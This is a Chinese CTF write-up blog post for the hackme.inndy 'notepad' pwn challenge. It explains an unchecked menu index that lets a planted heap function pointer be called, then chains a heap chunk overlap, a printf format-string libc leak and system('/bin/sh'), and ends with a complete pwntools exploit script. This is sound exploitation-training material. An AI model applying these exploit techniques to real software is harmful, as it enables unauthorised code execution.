本文最后更新于:星期三, 一月 2日 2019, 3:48 下午
防护机制:
[*] '/home/zs0zrc/pwn/Scoreboard/notepad/notepad'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这题的漏洞主要在于 notepad_open函数中的menu函数,它对输入的上界进行了检查,但是没对下界进行检查,导致可以输入比 ‘a’小的字符,加上它根据menu的返回值来确定调用函数的位置的,所以可以提前在堆上布置好函数指针,通过输入notepad_open函数,输入特定的字符,来调用布置在堆上的函数指针
int __cdecl menu(int a1)
{
int result; // eax
int i; // [esp+8h] [ebp-10h]
int v3; // [esp+Ch] [ebp-Ch]
for ( i = 0; *(4 * i + a1); ++i )
printf("%c> %s\n", i + 'a', *(4 * i + a1));
printf("::> ");
v3 = getchar() - 'a';
freeline();
if ( v3 < i ) // vuln
result = v3 + 1;
else
result = 0;
return result;
}
//调用函数的代码
v0 = menu(&v4);
(*(&v3->show + v0 - 1))(v3);//这里v0是menu返回的数字
//它根据 note的show指针的地址 + v0 -1来确定函数的地址
note的结构:
struct note{
notepad_show *notepad_show;
notepad_destroy *notepad_destroy;
int flags;
int n;
}
具体的思路:
先分配三个small bins大小的chunk,在第一个chunk中布置好 free_plt的地址,然后用notepad_open函数的漏洞,调用free_plt,将chunk2 free掉。这时只要delete掉chunk1,chunk1和chunk2就会进行unlink合并,将这个合并后的chunk申请回来,就可以对chunk2造成overlap,就可以控制chunk2的函数指针。利用printf函数泄露出libc的地址,最后再构成system(‘/bin/sh\x00’) 函数来getshell
先create三个0x60大小的chunk
new(0x60,'aaaaa' + '\n')#chunk1 new(0x60,'aaaaa' + '\n')#chunk2 new(0x60,'aaaaa' + '\n')#chunk3
在chunk1中布置好free函数指针,调用notepad_open 使得chunk2被free掉
payload = 'a'*0x5c + p32(elf.symbols['free']) open_y(0,payload+'\n') open_y(1,'aaaa\n','^')# '^' mean ord('a') - 3
delete掉chunk1,使chunk1和chunk2合并,再从堆中申请到合并后的chunk,布置好printf函数指针,泄露出libc地址
delete(0) payload1 = 'a' * 0x5c + p32(elf.symbols['printf']) + 'aaaa' payload1 += 'a'*4 + '%1000$p\x00' + '\n' new(0xe0 - 16,payload1) open_n(1,'^') leak = int(p.recv(10),16) libc_base = leak - libc.symbols['_IO_2_1_stdin_'] libc.address = libc_base system = libc.symbols['system']
delete 掉chunk1,布置好system函数,调用system函数
delete(0) payload2 = 'a'*0x5c + p32(system) + 'aaaa' payload2 += 'aaaa' + '/bin/sh\x00' + '\n' new(0xe0 - 16,payload2) open_n(1,'^') p.interactive()
exp:
#!/usr/bin/env python
from pwn import *
local = 0
if local:
p = process('./notepad')
elf = ELF('./notepad')
libc = elf.libc
else:
host = 'hackme.inndy.tw'
port = '7713'
p = remote(host,port)
elf = ELF('./notepad')
libc = ELF('./libc-2.23.so.i386')
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
def debug(addr,PIE=False):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def new(size,content):
ru("::> ")
sl('a')
ru("size > ")
sl(str(size))
ru("data > ")
sd(content)
def open_y(idx,content,flags = 'a'):
ru("::> ")
sl('b')
ru("id > ")
sl(str(idx))
ru("edit (Y/n)")
sl("y")
ru("content > ")
sd(content)
rc()
sl(flags)
def open_n(idx,flags = 'a'):
ru("::> ")
sl('b')
ru("id > ")
sl(str(idx))
rc()
sl("n")
rc()
sl(flags)
def delete(idx):
ru("::> ")
sl('c')
rc()
sl(str(idx))
def setread(idx):
ru("::> ")
sl('d')
rc()
sl(str(idx))
def keepsec(idx):
ru("::> ")
sl('e')
rc()
sl(str(idx))
rc()
sl('c')
#gdb.attach(p,'b *0x08048CCD')
new(0x60,'aaaaa' + '\n')#chunk1
new(0x60,'aaaaa' + '\n')#chunk2
new(0x60,'aaaaa' + '\n')#chunk3
payload = 'a'*0x5c + p32(elf.symbols['free'])
open_y(0,payload+'\n')
open_y(1,'aaaa\n','^')
delete(0)
payload1 = 'a' * 0x5c + p32(elf.symbols['printf']) + 'aaaa'
payload1 += 'a'*4 + '%1000$p\x00' + '\n'
new(0xe0 - 16,payload1)
open_n(1,'^')
leak = int(p.recv(10),16)
libc_base = leak - libc.symbols['_IO_2_1_stdin_']
libc.address = libc_base
system = libc.symbols['system']
delete(0)
payload2 = 'a'*0x5c + p32(system) + 'aaaa'
payload2 += 'aaaa' + '/bin/sh\x00' + '\n'
new(0xe0 - 16,payload2)
open_n(1,'^')
p.interactive()
hackme.inndy_writeup writeup pwn
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!